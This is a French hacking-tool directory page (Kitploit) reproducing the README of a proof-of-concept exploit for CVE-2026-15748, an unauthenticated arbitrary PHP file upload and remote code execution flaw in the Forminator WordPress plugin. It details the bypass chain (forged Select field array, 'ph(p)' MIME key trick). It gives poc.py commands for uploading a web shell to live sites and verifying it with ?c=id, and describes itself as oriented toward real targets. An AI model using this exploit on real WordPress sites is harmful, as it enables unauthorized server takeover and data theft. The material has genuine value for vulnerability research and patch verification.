Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-15748 — Forminator Forms <= 1.56.1 - Téléversement arbitraire de fichiers non authentifié via une configuration forgée du champ de téléversement | Kitploit
Outils/GitHubGitHub/ubaydev/cve-2026-15748
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebTests d'IntrusionRed Teaming
GitHububaydev/cve-2026-15748

CVE-2026-15748

Forminator Forms <= 1.56.1 - Téléversement arbitraire de fichiers non authentifié via une configuration forgée du champ de téléversement

Voir le dépôt
7il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-15748 — Forminator Forms : téléversement arbitraire de fichier non authentifié → RCE

CVSS 9.8 (Critique) · Versions concernées : Forminator <= 1.56.1 · Corrigé : 1.56.2 Chercheur : daroo (Wordfence Bug Bounty, $2,048) · ~600k installations actives Analyse : wordfence.com/blog/2026/08/600000-wordpress-sites-affected-by-arbitrary-file-upload-vulnerability-in-forminator-forms-wordpress-plugin/

Chaîne de cause racine

Trois faiblesses enchaînées via une valeur de champ Select forgée :

  1. Aucune désinfection des tableaux de champs imbriqués — Forminator_CForm_Front_Action::set_field_data() prepare_fields_info() parcourt chaque champ stocké. Pour le champ Select stocké select-1, $field_data = prepared_data['select-1'] (tableau imbriqué contrôlé par l’attaquant). Lorsqu’il contient return, le tableau est ajouté en bloc à field_data_array (front-action.php ~ligne 1088), avant toute désinfection/validation par champ. maybe_handle_custom_option() ne les retire pas.

  2. Configuration de champ non fiable considérée comme fiable au téléversement — Forminator_CForm_Front_Action::process_uploads() parcourt field_data_array, fait confiance au field_type == 'upload' forgé, utilise le name forgé pour sélectionner une entrée $_FILES, et transmet le field_array forgé comme configuration de confiance à Forminator_Upload::handle_file_upload().

  3. Contournement de la liste de blocage par clé exacte — forminator_allowed_mime_types() supprime la clé littérale php, mais wp_check_filetype() traite les clés comme des regex. La clé ph(p) survit à la liste de blocage tout en correspondant au suffixe .php. additional-type = ph(p)|text/x-php permet à un fichier .php de passer la validation.

Condition d’exploitabilité

Un formulaire publié doit contenir à la fois un champ de téléversement de fichier et un champ Select. Select n'est que le vecteur.

Mise en garde sur l’exécution (VÉRIFIÉ EN LABO)

  • Le téléversement d’un .php arbitraire sur le disque réussit par défaut (aucune configuration spéciale n’est nécessaire pour l’écriture).
  • L’RCE nécessite que la racine de téléversement ne comporte pas de .htaccess Apache. La racine Forminator par défaut et une racine personnalisée reçoivent toutes deux un .htaccess bloquant PHP (SetHandler none / RemoveHandler). L’RCE ne se déclenche que lorsque ce .htaccess est absent — le scénario de l’analyse : « racine de stockage personnalisée créée lors d’une requête frontale où insert_with_markers() n’est pas chargé ».
  • En laboratoire, nous avons obtenu l’RCE en utilisant une racine de stockage personnalisée et en simulant l’état sans .htaccess.

Chemin de téléversement et hash (important pour les tests sur cible réelle)

  • Racine par défaut : wp-content/uploads/forminator/ → fichier dans wp-content/uploads/forminator/{form_id}_{hash}/uploads/<file>.
  • Racine personnalisée : si l’administrateur a défini forminator_custom_upload_root (p. ex. cveuploads), les fichiers atterrissent dans wp-content/uploads/cveuploads/{form_id}_{hash}/uploads/<file>.
  • Le <hash> est wp_hash($form_id) — dérivé des sels AUTH du site, il n’est donc pas prédictible de l’extérieur. poc.py affiche le modèle de chemin ; pour le compléter, vous devez récupérer le hash (liste de répertoire, URL/journal d’un fichier téléversé existant, une entrée dans l’admin, etc.) via --form-hash.
  • Nom de fichier téléversé = wp_generate_password(12,false,false) . '-' . <original> → par ex. cX3fRjMDDu03-shell.php (12 caractères alphanumériques aléatoires + - + nom d’origine).

Utilisation — poc.py

Orienté cible réelle par conception ; les assistants de laboratoire local (analyse du système de fichiers, suppression de .htaccess) sont limités à http://wordpresslab.test / http://localhost uniquement.

# A) Simplest (auto-discover): fetch page, parse nonce/form_id/fields, auto-fill, upload
python3 poc.py --target https://site.tld/                       # url-only -> fetches index
python3 poc.py --target https://site.tld/kontak                # path given -> fetches that page
python3 poc.py --target https://site.tld/ --page-id 42         # append ?page_id=42

# B) Manual nonce/form-id (skip discovery, still fetches page for --auto harvest)
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303

# C) Verify a candidate shell URL on a live target
python3 poc.py --target https://site.tld/ --form-id 4840 --nonce 69c8f06303 \
    --verify-url "https://site.tld/wp-content/uploads/forminator/4840_<hash>/uploads/<12char>-shell.php"

# D) local lab: full RCE (scans container FS, removes .htaccess, executes)
python3 poc.py --target http://wordpresslab.test --page-id 32 --find-shell

Options

FlagSignification
--targetURL de base (ou URL complète de la page en l’absence de --page-id/manuel)
--page-idID de publication ; s’il est vide, l’URL cible elle-même est récupérée pour nonce/form_id
--form-id, --noncecontourne la découverte ; récupère quand même la page pour la collecte --auto
--upload-fieldnom réel du champ de téléversement (défaut upload-1)
--forge-namevecteur $_FILES forgé (défaut = nom réel, mode collision ; utiliser un nom distinct pour un success=True net)
--selectchamp select à utiliser (défaut select-1)
--extra name=valueforcer une valeur de champ (répétable ; --extra 'checkbox-1[]=a+b' pour plusieurs)
--auto / --no-autocollecte les champs réels du formulaire depuis le HTML et remplit automatiquement des valeurs plausibles selon le type (activé par défaut)
--upload-rootracine de téléversement relative (défaut wp-content/uploads/forminator ; définir p. ex. wp-content/uploads/cveuploads pour une racine personnalisée)
--form-hashla partie <hash> du répertoire de téléversement → complète/affiche une URL concrète
--verify-urlcible réelle : sonder une URL de shell candidate avec ?c=id/?c=whoami
--find-shelllocal uniquement (wordpresslab.test/localhost) : trouver le *-shell.php le plus récent, supprimer .htaccess, exécuter
--no-htaccessaffiche la note de laboratoire local concernant la suppression de .htaccess

Correspondance des valeurs --auto (collectées depuis le HTML du formulaire)

Type de champValeur générée
email / le nom contient emailauto<rand>@mailinator.com
tel / le nom contient phone10 chiffres aléatoires
url / le nom contient urlhttps://example.com/<rand>
numberaléatoire 1–9999
date2026-08-19
groupe de cases à cocher/boutons radio name[]valeur de la première option (toutes les entrées du même nom sont scannées)
case à cocher/bouton radio uniqueattribut value, repli sur checked
<select> (non vecteur)première option non vide
<textarea>texte aléatoire
texte brut10 caractères aléatoires

Ignorés : champs internes (action/form_id/nonce/...), type="file" (upload-*), select-* (vecteur d’exploitation), calculation-* (calculés) et champs de plugins externes (wpforms[...]).

Reproduction en laboratoire (wordpresslab.test, WP 6.9.4 + Forminator 1.56.1)

Télécharger l’outil